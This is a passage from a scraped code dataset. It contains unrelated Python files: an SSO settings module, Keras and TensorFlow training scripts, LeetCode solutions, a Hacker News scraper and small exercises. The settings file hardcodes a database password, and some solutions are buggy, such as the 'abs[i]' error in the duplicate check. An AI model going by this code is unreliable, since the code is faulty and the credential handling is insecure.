coord.join([thread])\n\nif __name__ == '__main__':\n test_io()\n","sub_path":"test_io.py","file_name":"test_io.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"112798515","text":"import datetime\nimport qmongo\nfrom hcs_authorization import authorization\nDatabase=dict(\n host=\"172.16.7.67\",\n name=\"lms\",\n port=27017,\n user=\"sys\",\n password=\"123456\"\n)\nlogin_url=\"login\"\nauthorization.set_db_context_authorization(Database)\ndef authenticate(request):\n import SystemConfig\n st = SystemConfig.get()\n if request._get_request().has_key(\"token\"):\n token=request._get_request()[\"token\"]\n return_url = request._get_request()[\"retUrl\"]\n lang = request._get_request().get(\"lang\", st.default_language)\n if (lang != None and lang != \"\"):\n if lang.lower() == \"vn\":\n lang = \"vi\"\n else:\n lang = \"en\"\n from quicky import backends\n import quicky\n from quicky.backends.crypto import sso_authenticate\n from api import models\n login_token = sso_authenticate(token)\n if login_token.is_success:\n login_account = qmongo.models.auth_user_info.aggregate\\\n .project(login_account = 1, username = 1)\\\n .match(\"login_account == {0}\", login_token.login_account).get_item()\n request.__setattr__(\"user_login\", login_account['username'])\n quicky.language.set_language(lang)\n request.session[\"language\"] = lang\n return backends.sigin_by_login_token(request, token, return_url)\n else:\n return False\n\n if not request.user.is_anonymous() and request.user.is_active:\n return True\n else:\n return False\n\n # request.user.is_superuser\n # login_info=membership.validate_session(request.session.session_key)\n # if login_info==None:\n # return False\n # user = login_info.user;\n # if not user.isSysAdmin:\n # return user.isStaff\n # else:\n # return True\n\ndef AUTHORIZED(func_id):\n from api import models\n exist = qmongo.models.AD_Roles.aggregate\\\n .unwind(\"permission\", False)\\\n .project(\n function_id = \"permission.function_id\"\n )\\\n .match(\"function_id == {0}\", func_id).get_item()\n\n if exist != None:\n return True\n return False\n\ndef on_begin_request(request):\n setattr(request,\"begin_time\",datetime.datetime.now())\n print(request)\n\ndef on_end_request(request):\n print(\"time is :{0} in {1}\".format((datetime.datetime.now()-request.begin_time).microseconds,request.path_info))\n","sub_path":"apps/performance/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"519358732","text":"import datetime\nimport math\n\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.callbacks import (\n LearningRateScheduler,\n ModelCheckpoint,\n ReduceLROnPlateau,\n TensorBoard,\n)\n\nimport augmentation\nimport data_generator\nimport model_builder\nfrom accuracy import iou_coef\n\nEPOCHS = 200\nMODEL_SAVE_PATH = os.path.normpath(\".\\\\saved_models\\\\fusionNet\")\n\n\ndef dice_coef(smooth):\n def dice_coef(y_true, y_pred):\n y_true_f = K.flatten(y_true)\n y_pred_f = K.flatten(y_pred)\n intersection = K.sum(y_true_f * y_pred_f)\n return (2.0 * intersection + smooth) / (\n K.sum(y_true_f * y_true_f) + K.sum(y_pred_f * y_pred_f) + smooth\n )\n\n return dice_coef\n\n\n# https://arxiv.org/abs/1706.05721\ndef tversky_loss(y_true, y_pred):\n alpha = [0.1] * 16\n beta = [0.9] * 16\n alpha[0] = 0.9\n beta[0] = 0.1\n weights = [\n 0.2,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n ]\n\n ones = K.ones_like(y_true)\n p0 = y_pred # proba that voxels are class i\n p1 = ones - y_pred # proba that voxels are not class i\n g0 = y_true\n g1 = ones - y_true\n\n num = K.sum(p0 * g0, (0, 1, 2, 3))\n den = num + alpha * K.sum(p0 * g1, (0, 1, 2)) + beta * K.sum(p1 * g0, (0, 1, 2))\n\n T = K.sum(\n weights * num / den\n ) # when summing over classes, T has dynamic range [0 Ncl]\n\n Ncl = K.cast(K.shape(y_true)[-1], \"float32\")\n return Ncl - T\n\n\ndef lr_schedule(epoch):\n initial_lrate = 1e-7\n drop = 0.7\n epochs_drop = 20.0\n lr = initial_lrate * math.pow(drop, math.floor((1 + epoch) / epochs_drop))\n\n return lr\n\n\ndef train_model():\n generator = data_generator.SegmentationSequence(\n os.path.normpath(\"..\\\\data\\\\train\\\\images\"),\n os.path.normpath(\"..\\\\data\\\\train\\\\masks\"),\n augmenter=augmentation.augment,\n batch_size=4,\n output_img_size=(240, 240),\n steps_per_epoch=1000,\n )\n model = model_builder.build_segmentation_model((240, 240, 3), 4, 4, 20, 16)\n opt = tf.keras.optimizers.Adam(lr=lr_schedule(0), clipnorm=1.0)\n model.compile(\n optimizer=opt,\n loss=tversky_loss,\n metrics=[dice_coef(1.0)],\n )\n\n tb = TensorBoard(\n log_dir=os.path.normpath(\".\\\\logs\\\\fit\\\\\") + datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\"),\n histogram_freq=1,\n )\n # lr_reducer = ReduceLROnPlateau(\n # factor=np.sqrt(0.1), cooldown=0, patience=5, min_lr=0.5e-8\n # )\n lr_scheduler = LearningRateScheduler(lr_schedule)\n checkpoints = ModelCheckpoint(\n os.path.normpath(\".\\\\ckpts\"),\n monitor=\"loss\",\n verbose=0,\n save_weights_only=False,\n mode=\"auto\",\n save_freq=\"epoch\",\n )\n callbacks = [lr_scheduler, tb, checkpoints]\n history = model.fit(generator, epochs=EPOCHS, callbacks=callbacks)\n model.save(MODEL_SAVE_PATH)\n\n\nif __name__ == \"__main__\":\n train_model()\n","sub_path":"scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"637134412","text":"# 力扣决定给一个刷题团队发LeetCoin作为奖励。同时,为了监控给大家发了多少LeetCoin,力扣有时候也会进行查询。\n\n#\n\n# 该刷题团队的管理模式可以用一棵树表示:\n\n# 团队只有一个负责人,编号为1。除了该负责人外,每个人有且仅有一个领导(负责人没有领导);\n# 不存在循环管理的情况,如A管理B,B管理C,C管理A。\n#\n\n# 力扣想进行的操作有以下三种:\n\n# 给团队的一个成员(也可以是负责人)发一定数量的LeetCoin;\n# 给团队的一个成员(也可以是负责人),以及他/她管理的所有人(即他/她的下属、他/她下属的下属,……),发一定数量的LeetCoin;\n# 查询某一个成员(也可以是负责人),以及他/她管理的所有人被发到的LeetCoin之和。\n#\n\n# 输入:\n\n# N表示团队成员的个数(编号为1~N,负责人为1);\n# leadership是大小为(N - 1) * 2的二维数组,其中每个元素[a, b]代表b是a的下属;\n# operations是一个长度为Q的二维数组,代表以时间排序的操作,格式如下:\n# operations[i][0] = 1: 代表第一种操作,operations[i][1]代表成员的编号,operations[i][2]代表LeetCoin的数量;\n# operations[i][0] = 2: 代表第二种操作,operations[i][1]代表成员的编号,operations[i][2]代表LeetCoin的数量;\n# operations[i][0] = 3: 代表第三种操作,operations[i][1]代表成员的编号;\n# 输出:\n\n# 返回一个数组,数组里是每次查询的返回值(发LeetCoin的操作不需要任何返回值)。由于发的LeetCoin很多,请把每次查询的结果模1e9+7 (1000000007)。\n\n#\n\n# 示例 1:\n\n# 输入:N = 6, leadership = [[1, 2], [1, 6], [2, 3], [2, 5], [1, 4]], operations = [[1, 1, 500], [2, 2, 50], [3, 1], [2, 6, 15], [3, 1]]\n# 输出:[650, 665]\n# 解释:团队的管理关系见下图。\n# 第一次查询时,每个成员得到的LeetCoin的数量分别为(按编号顺序):500, 50, 50, 0, 50, 0;\n# 第二次查询时,每个成员得到的LeetCoin的数量分别为(按编号顺序):500, 50, 50, 0, 50, 15.\n\n#\n\n# 限制:\n\n# 1 <= N <= 50000\n# 1 <= Q <= 50000\n# operations[i][0] != 3 时,1 <= operations[i][2] <= 5000\n\ntry:\n import os\n import sys\n curFileParentPath = os.path.dirname(\n os.path.dirname(os.path.realpath(__file__)))\n sys.path.append(curFileParentPath)\n from typing import *\n from collections import defaultdict\n from Utils.Tree import *\nexcept Exception as err:\n print('Import failed: ' + str(err))\n\nMOD = 1000000007\n\n\nclass Solution:\n def bonus(self, n: int, leadership, operations):\n # 树状数组+DFS序\n # python总是TLE...\n subs = defaultdict(list)\n for l in leadership:\n boss = l[0]\n sub = l[1]\n subs[boss].append(sub)\n left = {}\n right = {}\n self.order = 0\n\n def dfs(cur):\n self.order += 1\n left[cur] = self.order\n for sub in subs[cur]:\n dfs(sub)\n right[cur] = self.order\n\n dfs(1)\n N = 1\n while N < n + 2:\n N <<= 1\n\n Sum = [0] * 4 * N\n Add = [0] * 4 * N\n\n def update(L, R, C):\n Ln, Rn, x = 0, 0, 1\n s = N + L - 1\n t = N + R + 1\n while s ^ t ^ 1 != 0:\n Sum[s] += C * Ln\n Sum[t] += C * Rn\n if ~s & 1:\n Add[s ^ 1] += C\n Sum[s ^ 1] += C * x\n Ln += x\n if t & 1:\n Add[t ^ 1] += C\n Sum[t ^ 1] += C * x\n Rn += x\n s >>= 1\n t >>= 1\n x <<= 1\n while s:\n Sum[s] += C * Ln\n Sum[t] += C * Rn\n s >>= 1\n t >>= 1\n\n def query(L, R):\n Ln, Rn, x = 0, 0, 1\n s = N + L - 1\n t = N + R + 1\n res = 0\n while s ^ t ^ 1 != 0:\n if Add[s]:\n res += Add[s] * Ln\n if Add[t]:\n res += Add[t] * Rn\n if ~s & 1:\n res += Sum[s ^ 1]\n Ln += x\n if t & 1:\n res += Sum[t ^ 1]\n Rn += x\n s >>= 1\n t >>= 1\n x <<= 1\n while s:\n res += Add[s] * Ln\n res += Add[t] * Rn\n s >>= 1\n t >>= 1\n return res\n\n res = []\n for o in operations:\n p = o[1]\n if o[0] == 1:\n update(left[p], left[p], o[2])\n elif o[0] == 2:\n update(left[p], right[p], o[2])\n else:\n res.append(query(left[p], right[p]) % MOD)\n return res\n\n\nif __name__ == \"__main__\":\n print(Solution().bonus(n=6,\n leadership=[[1, 2], [1, 6], [2, 3], [2, 5], [1, 4]],\n operations=[[1, 1, 500], [2, 2, 50], [3, 1],\n [2, 6, 15], [3, 1]]))\n","sub_path":"Hard/LCP 5. 发LeetCoin.py","file_name":"LCP 5. 发LeetCoin.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"495382405","text":"import numpy as np\n\nfrom datasets import ptb, sequence\nfrom src.models import RNNLM, BetterRNNLM, Seq2Seq, PeekySeq2Seq\nfrom src.trainer import Trainer\nfrom src.optimizers import Adam\nfrom src.functions import softmax\nfrom src.utils import eval_seq2seq\n\n\nclass GenRNNLM(RNNLM):\n def generate(self, start_id, skip_ids, sample_size=100):\n word_ids = [start_id]\n x = start_id\n while len(word_ids) < sample_size:\n x = np.array(x).reshape(1, 1)\n y = self.predict(x)\n p = softmax(y.flatten())\n\n x = np.random.choice(len(p), size=1, p=p)\n if (skip_ids is None) or (x not in skip_ids):\n word_ids.append(int(x))\n\n return word_ids\n\n\nclass GenBetterRNNLM(BetterRNNLM):\n def generate(self, start_id, skip_ids, sample_size=100):\n word_ids = [start_id]\n x = start_id\n while len(word_ids) < sample_size:\n x = np.array(x).reshape(1, 1)\n y = self.predict(x)\n p = softmax(y.flatten())\n\n x = np.random.choice(len(p), size=1, p=p)\n if (skip_ids is None) or (x not in skip_ids):\n word_ids.append(int(x))\n\n return word_ids\n\n\ndef generate_text():\n corpus, word_to_id, id_to_word = ptb.load_data('train')\n\n start_word = 'you'\n start_id = word_to_id[start_word]\n skip_words = ['N', '', '$']\n skip_ids = [word_to_id[word] for word in skip_words]\n\n print('-'*50)\n model = GenRNNLM()\n model.load_params()\n word_ids = model.generate(start_id, skip_ids)\n text = ' '.join([id_to_word[word_id] for word_id in word_ids])\n text = text.replace(' ', '.\\n')\n print(text)\n\n print('-'*50)\n model = GenBetterRNNLM()\n model.load_params()\n word_ids = model.generate(start_id, skip_ids)\n text = ' '.join([id_to_word[word_id] for word_id in word_ids])\n text = text.replace(' ', '.\\n')\n print(text)\n\n print('-'*50)\n model.reset_state()\n for word in ('the meaning of life is').split():\n x = np.array(word_to_id[word]).reshape(1, 1)\n if word == 'is':\n start_id = word_to_id[word]\n word_ids = model.generate(start_id, skip_ids)\n else:\n model.predict(x)\n print('the meaning of life is ?')\n text = ' '.join([id_to_word[word_id] for word_id in word_ids[1:]])\n text = text.split('')[0]\n print(text)\n\n\ndef toy_problem(reverse=False, peeky=False):\n (x_train, t_train), (x_test, t_test) = sequence.load_data()\n if reverse:\n x_train = x_train[:, ::-1]\n x_test = x_test[:, ::-1]\n char_to_id, id_to_char = sequence.get_vocab()\n\n vocab_size = len(char_to_id)\n wordvec_size = 16\n hidden_size = 128\n batch_size = 128\n max_epoch = 25\n max_grad = 5.0\n\n if peeky:\n model = PeekySeq2Seq(vocab_size, wordvec_size, hidden_size)\n else:\n model = Seq2Seq(vocab_size, wordvec_size, hidden_size)\n\n optimizer = Adam()\n trainer = Trainer(model, optimizer)\n\n acc_list = []\n for epoch in range(max_epoch):\n trainer.fit(x_train, t_train, 1, batch_size, max_grad)\n\n correct_num = 0\n for i in range(len(x_test)):\n question, correct = x_test[[i]], t_test[[i]]\n verbose = i < 10\n correct_num += eval_seq2seq(\n model, question, correct, id_to_char, verbose, reverse)\n\n acc = float(correct_num) / len(x_test)\n acc_list.append(acc)\n print(f'val acc {100*acc:.3f}%')\n\n\nif __name__ == '__main__':\n # generate_text()\n # toy_problem()\n # toy_problem(reverse=True)\n toy_problem(reverse=True, peeky=True)\n","sub_path":"ch_07.py","file_name":"ch_07.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"404790537","text":"#!/usr/bin/env python3\n\nclass Point(object):\n # Model a 2D point\n\n def __init__(self, x=0, y=0):\n self.x = x\n self.y = y\n\n def __str__(self):\n return '({:.1f}, {:.1f})'.format(self.x, self.y)\n\n def midpoint(self, other):\n x = (self.x+other.x) / 2\n y = (self.y+other.y) / 2\n return Point(x, y)\n\nclass Circle(object):\n # Model a 2D circle\n\n def __init__(self, centre=None, radius=0):\n if centre == None:\n centre = Point(0, 0)\n self.radius = radius\n self.centre = centre\n\n def __str__(self):\n a = []\n a.append('Centre: {}'.format(self.centre))\n a.append('Radius: {}'.format(self.radius))\n return '\\n'.join(a)\n\n def __add__(self, other):\n centre = self.centre.midpoint(other.centre)\n radius = self.radius + other.radius\n return Circle(centre, radius)\n\ndef main():\n # Tests\n p1 = Point()\n p2 = Point(4, 6)\n #print(p1.midpoint(p2))\n\n c1 = Circle(p1, radius=1)\n c2 = Circle(p2, radius=10)\n print(c1)\n print(c2)\n c3 = c1 + c2\n print(c3)\n\nif __name__ == '__main__':\n main()","sub_path":"year1_1718/computer_programming_2/scripts/20180722180629/2018-03-27/circle_081.py","file_name":"circle_081.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"401688492","text":"# Copyright 2017 Yahoo Inc.\n# Licensed under the terms of the Apache 2.0 license.\n# Please see LICENSE file in the project root for terms.\n\n# Distributed MNIST on grid based on TensorFlow MNIST example\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import nested_scopes\nfrom __future__ import print_function\n\ndef print_log(worker_num, arg):\n print(\"{0}: {1}\".format(worker_num, arg))\n\ndef map_fun(args, ctx):\n from tensorflowonspark import TFNode\n from datetime import datetime\n import math\n import numpy\n import tensorflow as tf\n import time\n import re\n\n worker_num = ctx.worker_num\n job_name = ctx.job_name\n task_index = ctx.task_index\n cluster_spec = ctx.cluster_spec\n NUM_CLASSES = 100\n IMAGE_PIXELS=32\n NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN = 50000\n NUM_EPOCHS_PER_DECAY = 350.0 # Epochs after which learning rate decays.\n LEARNING_RATE_DECAY_FACTOR = 0.1 # Learning rate decay factor.\n INITIAL_LEARNING_RATE = 0.1 # Initial learning rate.\n TOWER_NAME = 'tower'\n\n # Delay PS nodes a bit, since workers seem to reserve GPUs more quickly/reliably (w/o conflict)\n if job_name == \"ps\":\n time.sleep((worker_num + 1) * 5)\n\n # Parameters\n hidden_units = 128\n batch_size = args.batch_size\n\n # Get TF cluster and server instances\n cluster, server = TFNode.start_cluster_server(ctx, 1, args.rdma)\n \n\n def feed_dict(batch):\n # Convert from [(images, labels)] to two numpy arrays of the proper type\n images = []\n labels = []\n for item in batch:\n images.append(item[0])\n labels.append(item[1])\n xs = numpy.array(images)\n xs = xs.astype(numpy.float32)\n xs = xs/255.0\n ys = numpy.array(labels)\n ys = ys.astype(numpy.uint8)\n return (xs, ys)\n\n if job_name == \"ps\":\n server.join()\n elif job_name == \"worker\":\n\n # Assigns ops to the local worker by default.\n with tf.device(tf.train.replica_device_setter(\n worker_device=\"/job:worker/task:%d\" % task_index,\n cluster=cluster)):\n\n print(\"In a TFCluster.\")\n# global_step = tf.train.get_or_create_global_step()\n # Input placeholders\n with tf.name_scope('input'):\n x = tf.placeholder(tf.float32, [None, IMAGE_PIXELS*IMAGE_PIXELS*3], name='x-input')\n y_ = tf.placeholder(tf.float32, [None, 100], name='y-input') \n images = tf.reshape(x, [-1, IMAGE_PIXELS, IMAGE_PIXELS, 3])\n print (images.shape)\n tf.summary.image('input', images, 10)\n \n def _activation_summary(x):\n \"\"\"Helper to create summaries for activations.\n Creates a summary that provides a histogram of activations.\n Creates a summary that measures the sparsity of activations.\n Args:\n x: Tensor\n Returns:\n nothing\n \"\"\"\n # Remove 'tower_[0-9]/' from the name in case this is a multi-GPU training\n # session. This helps the clarity of presentation on tensorboard.\n tensor_name = re.sub('%s_[0-9]*/' % TOWER_NAME, '', x.op.name)\n tf.summary.histogram(tensor_name + '/activations', x)\n tf.summary.scalar(tensor_name + '/sparsity',\n tf.nn.zero_fraction(x))\n \n def _variable_on_cpu(name, shape, initializer):\n \"\"\"Helper to create a Variable stored on CPU memory.\n Args:\n name: name of the variable\n shape: list of ints\n initializer: initializer for Variable\n Returns:\n Variable Tensor\n \"\"\"\n with tf.device('/cpu:0'):\n dtype = tf.float32\n var = tf.get_variable(name, shape, initializer=initializer, dtype=dtype)\n return var\n\n def _variable_with_weight_decay(name, shape, stddev, wd):\n \"\"\"Helper to create an initialized Variable with weight decay.\n Note that the Variable is initialized with a truncated normal distribution.\n A weight decay is added only if one is specified.\n Args:\n name: name of the variable\n shape: list of ints\n stddev: standard deviation of a truncated Gaussian\n wd: add L2Loss weight decay multiplied by this float. If None, weight\n decay is not added for this Variable.\n Returns:\n Variable Tensor\n \"\"\"\n dtype = tf.float32\n var = _variable_on_cpu(\n name,\n shape,\n tf.truncated_normal_initializer(stddev=stddev, dtype=dtype))\n if wd is not None:\n weight_decay = tf.multiply(tf.nn.l2_loss(var), wd, name='weight_loss')\n tf.add_to_collection('losses', weight_decay)\n return var\n \n with tf.variable_scope('conv1') as scope:\n kernel = _variable_with_weight_decay('weights',\n shape=[5, 5, 3, 256],\n stddev=5e-2,\n wd=0.0)\n conv = tf.nn.conv2d(images, kernel, [1, 1, 1, 1], padding='SAME')\n biases = _variable_on_cpu('biases', [256], tf.constant_initializer(0.0))\n pre_activation = tf.nn.bias_add(conv, biases)\n conv1 = tf.nn.relu(pre_activation, name=scope.name)\n _activation_summary(conv1)\n\n # pool1\n pool1 = tf.nn.max_pool(conv1, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1],\n padding='SAME', name='pool1')\n # norm1\n norm1 = tf.nn.lrn(pool1, 4, bias=1.0, alpha=0.001 / 9.0, beta=0.75,\n name='norm1')\n\n # conv2\n with tf.variable_scope('conv2') as scope:\n kernel = _variable_with_weight_decay('weights',\n shape=[5, 5, 256, 128],\n stddev=5e-2,\n wd=0.0)\n conv = tf.nn.conv2d(norm1, kernel, [1, 1, 1, 1], padding='SAME')\n biases = _variable_on_cpu('biases', [128], tf.constant_initializer(0.1))\n pre_activation = tf.nn.bias_add(conv, biases)\n conv2 = tf.nn.relu(pre_activation, name=scope.name)\n _activation_summary(conv2)\n\n # norm2\n norm2 = tf.nn.lrn(conv2, 4, bias=1.0, alpha=0.001 / 9.0, beta=0.75,\n name='norm2')\n # pool2\n pool2 = tf.nn.max_pool(norm2, ksize=[1, 3, 3, 1],\n strides=[1, 2, 2, 1], padding='SAME', name='pool2')\n\n # local3\n with tf.variable_scope('local3') as scope:\n # Move everything into depth so we can perform a single matrix multiply.\n reshape = tf.contrib.layers.flatten(pool2)\n dim = reshape.get_shape()[1].value\n weights = _variable_with_weight_decay('weights', shape=[dim, 1024],\n stddev=0.04, wd=0.004)\n biases = _variable_on_cpu('biases', [1024], tf.constant_initializer(0.1))\n local3 = tf.nn.relu(tf.matmul(reshape, weights) + biases, name=scope.name)\n _activation_summary(local3)\n\n # local4\n with tf.variable_scope('local4') as scope:\n weights = _variable_with_weight_decay('weights', shape=[1024, 256],\n stddev=0.04, wd=0.004)\n biases = _variable_on_cpu('biases', [256], tf.constant_initializer(0.1))\n local4 = tf.nn.relu(tf.matmul(local3, weights) + biases, name=scope.name)\n _activation_summary(local4)\n\n # linear layer(WX + b),\n # We don't apply softmax here because\n # tf.nn.sparse_softmax_cross_entropy_with_logits accepts the unscaled logits\n # and performs the softmax internally for efficiency.\n with tf.variable_scope('softmax_linear') as scope:\n weights = _variable_with_weight_decay('weights', [256, NUM_CLASSES],\n stddev=1/256.0, wd=0.0)\n biases = _variable_on_cpu('biases', [NUM_CLASSES],\n tf.constant_initializer(0.0))\n softmax_linear = tf.add(tf.matmul(local4, weights), biases, name=scope.name)\n _activation_summary(softmax_linear)\n \n logits = softmax_linear\n \n # Calculate the average cross entropy loss across the batch.\n# labels = tf.reshape(y_, [100, 10])\n print (y_.shape)\n print (logits.shape)\n labels = tf.cast(y_, tf.int64)\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(\n labels=labels, logits=logits, name='cross_entropy_per_example')\n cross_entropy_mean = tf.reduce_mean(cross_entropy, name='cross_entropy')\n tf.add_to_collection('losses', cross_entropy_mean)\n\n # The total loss is defined as the cross entropy loss plus all of the weight\n # decay terms (L2 loss).\n total_loss = tf.add_n(tf.get_collection('losses'), name='total_loss')\n global_step = tf.Variable(0)\n inc = tf.assign_add(global_step, 1, name='increment')\n# num_batches_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN / batch_size\n# decay_steps = int(num_batches_per_epoch * NUM_EPOCHS_PER_DECAY)\n\n # Decay the learning rate exponentially based on the number of steps.\n# lr = tf.train.exponential_decay(INITIAL_LEARNING_RATE,\n# global_step,\n# decay_steps,\n# LEARNING_RATE_DECAY_FACTOR,\n# staircase=True)\n# tf.summary.scalar('learning_rate', lr)\n \n train_step = tf.train.AdamOptimizer(1e-4).minimize(total_loss)\n correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(y_, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n label = tf.argmax(y_, 1, name=\"label\")\n prediction = tf.argmax(logits, 1,name=\"prediction\") \n \n \n\n\n##########################################################\n\n\n # Merge all the summaries and write them out to\n # /tmp/tensorflow/mnist/logs/mnist_with_summaries (by default)\n merged = tf.summary.merge_all()\n \n# saver = tf.train.Saver()\n init_op = tf.global_variables_initializer()\n\n # Create a \"supervisor\", which oversees the training process and stores model state into HDFS\n# logdir = TFNode.hdfs_path(ctx, args.model)\n logdir = \"/tmp/\" + args.model\n print(\"tensorflow model path: {0}\".format(logdir))\n summary_writer = tf.summary.FileWriter(\"tensorboard_%d\" %(worker_num), graph=tf.get_default_graph())\n\n if args.mode == \"train\":\n sv = tf.train.Supervisor(is_chief=(task_index == 0),\n logdir=logdir,\n init_op=init_op,\n summary_op=None,\n summary_writer=summary_writer,\n global_step=global_step,\n stop_grace_secs=300,\n saver = None\n# save_model_secs=10\n )\n else:\n sv = tf.train.Supervisor(is_chief=(task_index == 0),\n logdir=logdir,\n summary_op=None,\n saver=saver,\n global_step=global_step,\n stop_grace_secs=300,\n save_model_secs=0)\n\n # The supervisor takes care of session initialization, restoring from\n # a checkpoint, and closing when done or an error occurs.\n with sv.managed_session(server.target) as sess:\n print(\"{0} session ready\".format(datetime.now().isoformat()))\n # Loop until the supervisor shuts down or 1000000 steps have completed.\n step = -1\n tf_feed = TFNode.DataFeed(ctx.mgr, args.mode == \"train\")\n tf_feed_test = TFNode.DataFeed(ctx.mgr, args.mode != \"train\")\n while step < args.steps:\n # Run a training step asynchronously.\n # See `tf.train.SyncReplicasOptimizer` for additional details on how to\n # perform *synchronous* training.\n# print (args.steps)\n# print (sv.should_stop())\n# print (tf_feed.should_stop())\n step = step + 1\n# print (step)\n temp = sess.run(global_step)\n# print (temp)\n # using feed_dict\n batch_xs, batch_ys = feed_dict(tf_feed.next_batch(batch_size))\n test_xs, test_ys = feed_dict(tf_feed_test.next_batch(batch_size))\n feed = {x: batch_xs, y_: batch_ys}\n\n# print (len(batch_xs) > 0)\n if len(batch_xs) > 0:\n if args.mode == \"train\":\n summary, _,_ = sess.run([merged, train_step, inc], feed_dict=feed)\n # print accuracy and save model checkpoint to HDFS every 100 steps\n if (step % 100 == 0):\n labels, preds, acc = sess.run([label, prediction, accuracy], feed_dict={x: test_xs, y_: test_ys})\n for l,p in zip(labels,preds):\n print(\"{0} step: {1} accuracy: {2}, Label: {3}, Prediction: {4}\".format(datetime.now().isoformat(), temp, acc, l, p))\n \n# results = [\"{0} Label: {1}, Prediction: {2}\".format(datetime.now().isoformat(), l, p) for l,p in zip(labels,preds)]\n# tf_feed.batch_results(results)\n\n if sv.is_chief:\n summary_writer.add_summary(summary, step)\n else: # args.mode == \"inference\"\n labels, preds, acc = sess.run([label, prediction, accuracy], feed_dict=feed)\n\n results = [\"{0} Label: {1}, Prediction: {2}\".format(datetime.now().isoformat(), l, p) for l,p in zip(labels,preds)]\n tf_feed.batch_results(results)\n print(\"acc: {0}\".format(acc))\n\n if sv.should_stop() or step >= args.steps:\n tf_feed.terminate()\n\n # Ask for all the services to stop.\n print(\"{0} stopping supervisor\".format(datetime.now().isoformat()))\n sv.stop()","sub_path":"cifar100_dist2.py","file_name":"cifar100_dist2.py","file_ext":"py","file_size_in_byte":13806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"347310911","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport pprint\r\n\r\nres=requests.get(\"https://news.ycombinator.com/news\")\r\nres2 = requests.get('https://news.ycombinator.com/news?p=2')\r\n\r\nsoup=BeautifulSoup(res.text,'html.parser')\r\nsoup2=BeautifulSoup(res2.text,'html.parser')\r\n\r\nlink=soup.select('.storylink')\r\nlink2=soup2.select('.storylink')\r\n\r\nsubtext = soup.select('.subtext')\r\nsubtext2 = soup2.select('.subtext')\r\n\r\nmega_link=link+link2\r\nmega_subtext=subtext+subtext2\r\n\r\ndef stories_by_votes(hnlist):\r\n return sorted(hnlist,key=lambda k:k['votes'],reverse=True)\r\n\r\ndef create_custom_hn(link, subtext):\r\n hn = []\r\n for idx, item in enumerate(link):\r\n title = item.getText()\r\n href=item.get('href',None)\r\n vote = subtext[idx].select('.score')\r\n if len(vote):\r\n points=int(vote[0].text.replace(' points', ''))\r\n if points>99:\r\n hn.append({'title':title,'link':href,'votes':points})\r\n return stories_by_votes(hn) \r\n\r\npprint.pprint(create_custom_hn(mega_link, mega_subtext))","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"463967932","text":"\n\n'''\nhttps://leetcode.com/problems/contains-duplicate-ii/description/\n思路: 遍历使用字典存储每个每个值出现的索引位置,然后在对索引遍历,两两比较\n是否小于等于k值\n'''\n\n\nclass Solution:\n def containsNearbyDuplicate(self, nums, k):\n '''\n :type nums: List[int]\n :type k: int\n :rtype: bool\n '''\n dic = {}\n for i, val in enumerate(nums):\n if val not in dic:\n dic[val] = [i]\n else:\n dic[val] += [i]\n\n for i in dic:\n if len(dic[i]) >= 2:\n for j in range(len(dic[i])-1):\n if abs(dic[i][j] - abs[i][j+1]) < k:\n return True\n return False\n","sub_path":"219. Contains Duplicate II.py","file_name":"219. Contains Duplicate II.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"501425126","text":"#!/usr/bin/python3\n\nx = 10\nwhile x > 0 :\n\ttry:\n\t\tx = int( input(\"重新输入一个值:\") )\n\t\tbreak\n\texcept ValueError :\n\t\tprint('输入有异常,需要在次输入。')\n\n\n# try-else\n\ntry:\n\tx = int( input(\"再次重新输入一个值:\") )\nexcept ValueError :\n\tprint(\"有异常\")\nelse:\n\tprint(\"无异常,正常\")\nfinally:\n\tprint(\"finally 被执行\")\n\n\n# raise\n\nraise NameError('I am a error.');\n\"\"\"f\n以上返回:\n\nTraceback (most recent call last):\n File \"Unusual.py\", line 26, in \n raise NameError('I am a error.');\nNameError: I am a error.\n\n\"\"\"","sub_path":"Python/py.1/Unusual.py","file_name":"Unusual.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"3412003","text":"from framework.rom import rom_relation\nfrom framework.command import rom_command\nfrom framework.rom import meta\nfrom framework.rom import base_types\nfrom framework.rom import rom_property\nfrom framework.rom import exception\nfrom framework.rom import manager\nfrom framework.rom.base_types import ROMEnum\nimport gevent\nimport subprocess\nimport os\nimport math\nfrom framework.smart_scripter.control_commands import GroupCommand\n\n\nclass 